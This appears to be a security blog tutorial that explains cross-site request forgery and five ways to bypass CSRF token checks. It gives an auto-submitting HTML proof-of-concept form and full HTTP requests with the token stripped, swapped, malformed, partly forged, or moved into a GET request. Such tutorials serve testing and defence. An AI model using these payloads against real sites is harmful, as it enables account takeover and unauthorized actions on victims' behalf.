Hello learners, in this article I will be teaching you what an actually CSRF attack is and how you can actually bypass CSRF protection with 5 methods. So with that in mind, let's get started!
What is Cross-Site Request Forgery (CSRF)?
Cross site request forgery is a web application vulnerability attack vector that basically tricks the web browser into performing an undesired action in a vulnerable application to which a user is already logged in. A proper successful CSRF attack can be disastrous to both the user and the organisation. CSRF attacks can result in email change , password resets , profile updates , account takeovers. CSRF’s are most typically conducted by the use of social engineering such as sending the user an email or message with our CSRF html link.
How does CSRF work actually ?
There are some conditions for a CSRF attack to be possible :
- An Action : There should be an API call or POST request that an attacker can take advantage of. The action can be anything like email changing , password reset , profile update , 2FA enabling etc..
- Cookie based Session Handling : The application must rely on the session cookies to identify which user made the request. There should be no other protection in place to track user’s request or any kind of protection like asking secret questions for an update.
- No Token Parameters : The requests that perform the requests do not contain any parameters which contains values that an attacker cannot guess or brute force. Example: If you are going to enable 2FA then the application is likely going to ask you to confirm your password, so in that case the attacker would not be able to successfully use CSRF because of not knowing the password.
Let’s take the below request as an example:
POST /profile/edit HTTP/1.1 Host: redacted.com Content-Type: application/x-www-form-urlencoded Content-Length: 40 Cookie: session=yunxuwoasniins2S5sej first_name=Paul
If you look in the above request , we can see that there is no kind of token available for this post request which is being sent to the server. This is where the CSRF attack vectors actually raise. The above request is basically letting the user update his profile but what an attacker can do now is , he can make a HTML document as below
<html> <body> <form action="https://redacted.com/profile/edit” method="POST"> <input type="hidden" name=“first_”name value=“Fred” /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Now, all the attacker has to do is make this HTML document as game.html and host this on a domain and send it to the victim as a SMS or email. Once the user clicks on the link and he is logged in to the application already then his profile’s first_name will automatically get updated to “Fred”
1. Right click on the request
2. Go to Engagement tools and Generate CSRF POC
3. Save that HTML code as Csrf.html
4. You can also make tweaks in the HTML code as you want in the Burp.
Impact of CSRF
The Impact of CSRF ultimately will depend on the action which is vulnerable. If the vulnerable action is a bank transfer then its a serious loss of money to the user as the attacker will be able to send the money to his account. If it’s a password reset action then the attacker will be able to directly take over his account. So , the Impact will always depend on the action being abused on the application and if the action vulnerable is something important then a fix should be done as soon as possible.
Bypass CSRF Protection
Let’s take the below request for this section:
POST /account/users/new HTTP/1.1 Host: redacted.com Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 125 Origin: https://redacted.com Referer: https://redacted.com/account/users Upgrade-Insecure-Requests: 1 Te: trailers Connection: close _token=ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG&name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all
Bypass Method-1
You can remove the CSRF token from the checking parameter and forward the request. I have seen many applications have a CSRF token enabled but they do not validate if the parameter is actually filled with the CSRF token.
So, the request is going to become like this
POST /account/users/new HTTP/1.1 Host: redacted.com Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D; User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 125 Origin: https://redacted.com Referer: https://redacted.com/account/users Upgrade-Insecure-Requests: 1 Te: trailers Connection: close _token=&name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all
You can see that I have removed the CSRF token from the token parameter and after you forward this request , if the server is not validating it then you have successfully bypass csrf protection and will be able to perform a CSRF attack.
Bypass Method-2
You can use other user's CSRF token i.e all you have to do is create a new account and intercept the same request which is profile edit and copy the CSRF token from that request and paste that CSRF token in the first request and see if the server is actually validating if the CSRF token actually belongs to that particular user or not.
Suppose User 1 CSRF Token is : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
Suppose User 2 CSRF Token is : ES49jfXwQmExuz2SJGF91PK5WfMVu5sBOGgzqqvn
Now, what you have to do is copy the User 2 CSRF token and paste that token in User 1 Profile edit request and forward the request and see if the server is validating or not. If the server is actually not validating then voila you have successfully bypass csrf protection and can conduct your CSRF attacks.
Bypass Method-3
Add random text in the CSRF token and check if the server is validating it or not. So all you have to do is this :
Real CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
Malformed CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxGrandom
Now, you just have to use the malformed cstf token in your request and check for server validation. If you are lucky and the server does not validate then you have successfully bypass csrf protection and can execute your CSRF attacks.
Bypass Method-4
You can see that most of the Profile edits, password resets and 2FA enabling are POST requests but what we are going to do in this bypass is basically changing the request type to GET and removing the CSRF token parameter and forward the request.
So, the request should ultimately like the below:
GET /account/users/new?name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all HTTP/1.1 Host: redacted.com Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D; User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: https://redacted.com Referer: https://redacted.com/account/users Upgrade-Insecure-Requests: 1 Te: trailers Connection: close
You can see in the above request that I have removed the token parameter and also changed the adding user's POST request to GET. If the server administrator has actually not checked the CSRF protections with different request methods then this bypass will succeed and you should be able to bypass csrf protections put in place.
Bypass Method-5
Many Web applications use a Static and Dynamic part CSRF token i.e take the below example
CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
In this CSRF token , the first 20 characters are static i.e they are same for all the users registered on the Web application and the next 20 characters are dynamic which means the last 20 characters are different for all the users. So what you can do is keep the static characters of the CSRF token same and use random text for the dynamic 20 characters. If the server is accepting the CSRF token then you have successfully bypass CSRF Protection.
Bonus Tips
Check for Token randomness and use BURP to automate this randomness test process and see if the token is weak or not and try to crack it. Remember to also see if the CSRF token is just a normal hash token like MD5 and if it’s actually a common algorithm then you can try creating new token using that hash algorithm and replace the token. Try changing User-Agent to Mobile User agent and see if the request is accepted.
Conclusion
In this article, we have learnt about what is an CSRF attack and how we can use CSRF attacks to exploit and also bypass the in place CSRF protection. If you are just getting started with Security , then please checkout our in-depth articles on Ethical Hacking. If you encounter issues in any of the commands above, please let us know in the comments below.
Further Reading
Cross-Site Request Forgery Prevention Cheat Sheet¶
